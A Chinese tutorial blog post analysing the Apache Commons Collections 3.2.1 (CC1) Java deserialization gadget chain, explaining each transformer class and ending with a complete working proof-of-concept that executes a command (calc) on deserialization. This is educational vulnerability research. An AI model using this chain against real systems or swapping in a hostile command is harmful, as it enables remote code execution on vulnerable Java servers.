Java反序列化漏洞-CC1利用链分析

2023-12-17 01:05 由 CVE-柠檬i 发表于 #其他

一、前置知识

1. 反射

首先，Java执行系统命令的语句是这样的：

Runtime.getRuntime().exec("calc");

用反射的方法执行Runtime.getRuntime().exec("calc")的语句是这样的：

//获取Runtime类对象
Class<?> clazz = Runtime.class;
//获取getRuntime方法
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
//获取Runtime对象
Runtime runtime = (Runtime) getRuntimeMethod.invoke(clazz, null);
//获取exec方法
Method execMethod = clazz.getMethod("exec", String.class);
//反射执行exec("calc")
execMethod.invoke(runtime, "calc");

如果上面这些反射代码看不懂，建议补一下反射基础：

黑马Java反射，Java安全-反射

2. Commons Collections是什么

Java Collections Framework 是 JDK 1.2 中的一项重要新增功能。它添加了许多强大的数据结构，可以加速最重要的 Java 应用程序的开发。从那时起，它已成为 Java 中公认的集合处理标准。

Commons-Collections试图通过提供新的接口、实现和实用程序来构建JDK类。

像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使⽤了Apache Commons Collections工具库，当该工具库出现反序列化漏洞时，这些应用也受到了影响，这也是反序列化漏洞如此严重的原因。

3. 环境准备

本文中漏洞复现环境：

commons-collections 3.2.1
jdk 1.8.0_65

在pom.xml添加commons-collections依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

在项目结构中指定JDK版本

二、分析利用链

这个链分析顺序是从链的最后部分·，即执行命令的逻辑部分开始分析，一直到反序列化的入口点结束。

1. Transformer

Transformer是一个接口，这个接口声明了一个transform函数

2. InvokeTransformer

这个类的位置：org.apache.commons.collections.functors.InvokerTransformer

看一下InvokeTransformer的构造方法和tramsform方法，这里吧一些不必要的代码省去了

public class InvokerTransformer implements Transformer, Serializable {
    //构造方法
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //实现Transformer接口的tramsform方法
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }

构造方法：InvokerTransformer(方法名，形参列表，实参列表)

tramsform方法：

调用接收到的对象的getClass方法，获取他的类对象
用getMethod方法获取cls类对象的iMethodName方法
用invoke方法执行input对象的iMethodName方法，参数是iArgs

也可以理解成tramsform就是反射执行 input.iMethodName(iArgs)

执行命令

用 InvokeTransformer 来弹个计算器试试

package com.zzy.ApacheCC1;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Blog {
    public static void main(String[] args) {
        Class[] paramTypes = {String.class};
        Object[] args1 = {"calc"};
        InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
        it.transform(Runtime.getRuntime());
    }
}

上面这段代码相当于执行了这些东西：

Object runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
Method exec = cls.getMethod("exec", String.class);
exec.invoke(runtime, "calc");

如何不直接调用transform方法，让程序自动调用transform方法来命令执行呢？请先看下面这几个类。

3. ConstantTransformer

ConstantTransformer的构造方法把传过来的值赋给iConstant

然后ConstantTramsformer的tramsform方法又把他返回回去。收到什么就返回什么，很没意思的一个方法是吧。

关键代码：

public class ConstantTransformer implements Transformer, Serializable {
    public ConstantTransformer(Object constantToReturn) {
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
    	return iConstant;
	}
}

然后我们先看下一个类

4. ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable {
    public ChainedTransformer(Transformer[] transformers) {
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
}

ChainedTransformer的构造方法接收一个Transformer类型的数组

然后ChainedTransformer的transform方法遍历transformers数组，依次执行每个Tramsformr的transform方法，

给transform方法一个初始值，然后每个Tramsformr的transform方法的返回值最为下一个Tramsformr的transform方法的参数来执行

听起来是不是有点绕，在脑子里过几遍，然后再实际调试一下，这样就差不多能看懂了。

执行命令

我们试着用ChainedTransformer结合InvokerTransformer和ConstantTransformer来自动调用InvokerTransformer的transform方法完成命令执行

Transformer[] transformers = {
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(null);

由于Runtime类没有实现Serializable接口，无法进行序列化，但是Class类实现了Serializable接口。

所以这里再改进一下代码，用Runtime.class命令执行

ConstantTransformer ct = new ConstantTransformer(Runtime.class);
//获取类对象
//Runtime.class

String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
//获取getRuntime方法
//Runtime.class.getMethod("getRuntime", null)

String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
//getRuntime.invoke获取Runtime对象
//it1.invoke(null, null)

String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
//Runtime对象执行exec命令
//it2.exec("calc")

Transformer[] transformers = {ct, it1, it2, it3};
new ChainedTransformer(transformers).transform(null);

上面这些代码相当于执行了这些操作：

Class runtimeClass = Runtime.class;
Method getruntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getruntime.invoke(null, null);
runtime.exec("calc");

成功执行命令

这里可以自动调用InvokerTransformer的transform了，但是又多出来个ChainedTransformer的transform，现在还得解决自动调用ChainedTransformer的transform的问题。先看看下面这几个类吧。

5. TransformedMap

类位置：org.apache.commons.collections.map.TransformedMap

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

	public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

	protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
}

静态decorate方法可以调用TransformedMap的构造方法，返回一个TransformedMap实例。

TransformedMap的checkSetValue方法调用了transform方法，valueTransformer的值可以通过构造方法的第三个参数获得。

但是checkSetValue方法修饰符是protected，无法直接调用它，我们接着寻找一个可以调用checkSetValue方法的类。

6. AbstractInputCheckedMapDecorator

它是TransformedMap的父类

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {        
	protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
	}

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

可以看到它的内部类MapEntry的setValue方法调用了checkSetValue方法，但是setValue方法依然不能直接调用，接着寻找能调用setValue方法的类吧。

7. AnnotationInvocationHandler

这个类的主要作用是为注解处理器提供代理对象，以便在运行时动态地处理注解。

这个类的位置：sun.reflect.annotation.AnnotationInvocationHandler

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

	private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }
}

这个类的readObject方法调用了var5的setValue方法，readObject正好是反序列化的入口点，终于快结束了。

var5是怎么来的呢？

AnnotationInvocationHandler构造方法的第三个参数var2赋给了memberValues

在readObject中最后赋给了var5

Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();

next方法位置：AbstractInputCheckedMapDecorator.EntrySetIterator#next

在这里 next()方法用于迭代原始映射中的键值对，并将其转换为MapEntry类型。在这个方法中，首先通过调用迭代器的next()方法来获取下一个元素，并将其强制转换为Map.Entry类型。然后，使用获取到的键值对和父对象作为参数，创建一个新的MapEntry对象，并将其作为方法的返回值。

返回一个MapEntry对象，那个AnnotationInvocationHandler的var5就是MapEntry对象，最后调用了MapEntry的SetValue方法。

执行MapEntry的SetValue方法又会调用checkSetValue方法

checkSetValue调用ChainedTransformer的transform方法，进而达到命令执行的效果

到此，利用链构造完毕，我们将编写完整的POC

三、编写POC

1. ChainedTransformer

这一步无需多言，跟在ChainedTransformer那里讲的一样，最后获得一个ChainedTransformer对象

ConstantTransformer ct = new ConstantTransformer(Runtime.class);

String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

2. decorate

新建一个HashMap对象，他的键（Key）的名称为value，至于为什么是value在本文章第五节会分析

TransformedMap.decorate返回一个TransformedMap实例，

实例的valueTransformer的值就是chainedTransformer

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);

3. AnnotationInvocationHandler

用反射方法新建AnnotationInvocationHandler对象，用构造方法把上一步的TransformedMap实例传进来

构造方法传的参数为什么是 Target.class 在本文章第五节会分析

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated);

4. 执行序列化和反序列化操作

反序列化时触发readObject，进而触发setValue，setValue时触发checkSetValue，checkSetValue返回的时候执行transform方法，最终进行命令执行

这里使用自己建立的序列化和反序列化方法，来模拟真实环境的反序列化。

serial(poc);
unserial();

这是序列化和反序列化的方法，不懂的话可以看菜鸟教程 Java 序列化

public static void serial(Object obj) throws IOException {
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
    out.writeObject(obj);
}

public static void unserial() throws IOException, ClassNotFoundException {
    ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
    in.readObject();
}

四、完整POC代码

package com.test.ApacheCC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Blog {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated);
		/*
		AnnotationInvocationHandler
		*/
        
        serial(poc);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
        in.readObject();
    }
}

成功执行命令

五、为什么是Target.class，为什么是"value"

1. 构造方法中的判断

通过构造方法给AnnotationInvocationHandler的var1赋值为Target.class

然后把var1赋值给了this.type (记住这个变量)

把var2赋值给了this.memberValues

获取var1所有的接口

Class[] var3 = var1.getInterfaces();

然后if语句里面有三个条件，满足这三个条件才能给 memberValues 赋值，才能在readObject时触发利用链

if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class)

var1.isAnnotation() => 检查var1是否是一个注解
var3.length == 1 => 检查var1的接口数量是否为1
var3[0] == Annotation.class => 检查这个唯一的接口是否是Annotation.class

通过调试可以看到，var3[0]即Target.class.getInterfaces()[0]的值就是Annotation类对象，即 Annotation.class

所以构造方法应该传入一个注解类型的类对象。

2. readObject中的判断

var7 != null

AnnotationInvocationHandler的readObject里面有一个判断，var7不为空才继续执行下面的代码

var7的值

var7怎么来的呢？看代码：

var2 = AnnotationType.getInstance(this.type)
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);

之前分析AnnotationInvocationHandler的时候知道

var5和var6的值

var5的值就是decorate传进来的那个键值对

var6的值就是var5的key，即 "value"

var7的值通过var3得到

var3的值

var3则是 AnnotationType.getInstance(this.type).memberTypes()

Target.class：

可以看到Target只有一个名为value的成员类型

var3 包含了Target注解中定义的所有成员类型的键值对，通过调试可以看到结构是这样的：

其中，键是成员名称（String类型），值是成员的类型（Class类型）

回到var7

给var7赋值的代码是

Class var7 = (Class)var3.get(var6);

根据CC利用链学习的解释var3 是HashMap类型的，那么执行的就是HashMap的get方法

根据菜鸟教程对get方法的解释，get方法就是获取指定key的value

具体到上面这段代码就是这样

Class var7 = (Class)var3.get("value");

也就是获取到Target.class的value的类型，这里是ElementType

回到POC代码

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);

如果这里map.put传入的 key ，在Target.class中没有对应的成员名称的话，var3就找不到var6，那么var7就为null，就无法执行下面的setValue了。

六、利用链

这里模仿 ysoserial 描述的利用链写出CC1的TransformedMap利用链

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            MapEntry.setValue()
                MapEntry.checkSetValue()
                    TransformedMap.transform()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

感谢安全研究员 Innocent.. 的指导
参考文章和视频
讯飞星火
 java-CC链1分析
 白日梦组长 CC1链手写EXP

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